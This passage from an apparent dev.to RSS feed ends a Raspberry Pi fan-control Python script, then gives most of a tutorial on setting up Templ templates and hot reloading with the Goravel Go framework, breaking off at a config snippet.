    &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIGTERM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setwarnings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setmode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BCM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRAN_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FAN_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OUT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;initial&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fan&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;PWM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FAN_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PWM_FREQ&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# do a few cycles just for testing
&lt;/span&gt;    &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;GPIO&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Done. Happy tinkering !&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>homelab</category>
    </item>
    <item>
      <title>How to use Templ with Goravel</title>
      <dc:creator>Andrei Telteu</dc:creator>
      <pubDate>Sat, 04 May 2024 18:13:11 +0000</pubDate>
      <link>https://dev.to/andreitelteu/how-to-use-templ-with-goravel-d63</link>
      <guid>https://dev.to/andreitelteu/how-to-use-templ-with-goravel-d63</guid>
      <description>&lt;h2&gt;
  
  
  Install the framework and tools
&lt;/h2&gt;

&lt;p&gt;First let's install &lt;a href="https://goravel.dev/" rel="noopener noreferrer"&gt;Goravel&lt;/a&gt;. It's a batteries included Go Web Framework for developers familiar with the Laravel Framework.&lt;/p&gt;

&lt;p&gt;Steps from &lt;a href="https://github.com/goravel/docs/blob/master/getting-started/installation.md" rel="noopener noreferrer"&gt;Getting started documentation&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;// Download framework
git clone https://github.com/goravel/goravel.git
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; goravel/.git&lt;span class="k"&gt;*&lt;/span&gt;

// Install dependencies
&lt;span class="nb"&gt;cd &lt;/span&gt;goravel
go mod tidy

// Create .env environment configuration file
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example .env

// Generate application key
go run &lt;span class="nb"&gt;.&lt;/span&gt; artisan key:generate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now install &lt;a href="https://templ.guide/quick-start/installation" rel="noopener noreferrer"&gt;templ&lt;/a&gt; (for html templates) and &lt;a href="https://github.com/cosmtrek/air?tab=readme-ov-file#installation" rel="noopener noreferrer"&gt;air&lt;/a&gt; (for hot reloading)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/a-h/templ/cmd/templ@latest
go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/air-verse/air@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Configure a simple frontend template structure
&lt;/h2&gt;

&lt;p&gt;(work in progress - I will update with global variables and script push)&lt;/p&gt;

&lt;p&gt;• Add this line in your &lt;code&gt;/.gitignore&lt;/code&gt; file: &lt;code&gt;*_templ.go&lt;/code&gt;&lt;br&gt;
• Delete &lt;code&gt;resources/views/welcome.tmpl&lt;/code&gt;&lt;br&gt;
• Create 2 folders in &lt;code&gt;resources/views&lt;/code&gt;, &lt;code&gt;home&lt;/code&gt; and &lt;code&gt;parts&lt;/code&gt;&lt;br&gt;
• In the folder &lt;code&gt;resources/views/parts&lt;/code&gt; create 3 files:&lt;br&gt;
   1. &lt;code&gt;resources/views/parts/header.templ&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;

&lt;span class="n"&gt;templ&lt;/span&gt; &lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;   2. &lt;code&gt;resources/views/parts/footer.templ&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;

&lt;span class="n"&gt;templ&lt;/span&gt; &lt;span class="n"&gt;Footer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;footer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="m"&gt;2024&lt;/span&gt; &lt;span class="n"&gt;MyProject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;footer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;   3. &lt;code&gt;resources/views/parts/template.templ&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;

&lt;span class="n"&gt;templ&lt;/span&gt; &lt;span class="n"&gt;Template&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="n"&gt;DOCTYPE&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;My&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;meta&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"utf-8"&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;meta&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;equiv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Content-Type"&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text/html; charset=utf-8"&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;meta&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1"&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;!--&lt;/span&gt; &lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;styles&lt;/span&gt; &lt;span class="k"&gt;go&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;Footer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;!--&lt;/span&gt; &lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;scripts&lt;/span&gt; &lt;span class="k"&gt;go&lt;/span&gt; &lt;span class="n"&gt;here&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"//unpkg.com/alpinejs"&lt;/span&gt; &lt;span class="k"&gt;defer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;• Create your homepage component: &lt;code&gt;resources/views/home/index.templ&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"goravel/resources/views/parts"&lt;/span&gt;

&lt;span class="n"&gt;templ&lt;/span&gt; &lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Template&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Homepage&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Templ&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;awesome&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Their documentation for &lt;a href="https://templ.guide/syntax-and-usage/template-composition" rel="noopener noreferrer"&gt;children components is here&lt;/a&gt;. They have an example for a layout structure but I find this method better.&lt;/p&gt;

&lt;h2&gt;
  
  
  Use this homepage component in your controller
&lt;/h2&gt;

&lt;p&gt;I made this new file &lt;code&gt;app/http/controllers/controller.go&lt;/code&gt; where I can store some helpers available to any controller.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;controllers&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"github.com/a-h/templ"&lt;/span&gt;
    &lt;span class="s"&gt;"github.com/goravel/framework/contracts/http"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;RenderTempl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;comp&lt;/span&gt; &lt;span class="n"&gt;templ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Content-Type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;comp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Writer&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helper renders the provided templ component in the response buffer along with a 200 status header. My first try at this I was using &lt;code&gt;c.Response().Writer().Header().Set()&lt;/code&gt; but is does not work ! The only way to set response headers is &lt;code&gt;c.Response().Header(key, val)&lt;/code&gt;.&lt;br&gt;
Let's use it in &lt;code&gt;app/http/controllers/home_controller.go&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;controllers&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"goravel/resources/views/home"&lt;/span&gt;
    &lt;span class="s"&gt;"github.com/goravel/framework/contracts/http"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;HomeController&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;//Dependent services&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;NewHomeController&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;HomeController&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HomeController&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;//Inject services&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;HomeController&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// doing awesome stuff here&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;RenderTempl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now set this new route:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;routes&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"goravel/app/http/controllers"&lt;/span&gt;
    &lt;span class="s"&gt;"github.com/goravel/framework/facades"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;Web&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;homeController&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;controllers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewHomeController&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;facades&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Route&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;homeController&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Configure hot reloading with Air
&lt;/h2&gt;

&lt;p&gt;Goravel already comes with the configuration file (&lt;code&gt;.air.toml&lt;/code&gt;) you need for this, we only need to add the &lt;code&gt;templ generate&lt;/code&gt; command in the cmd parameter, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;[build]
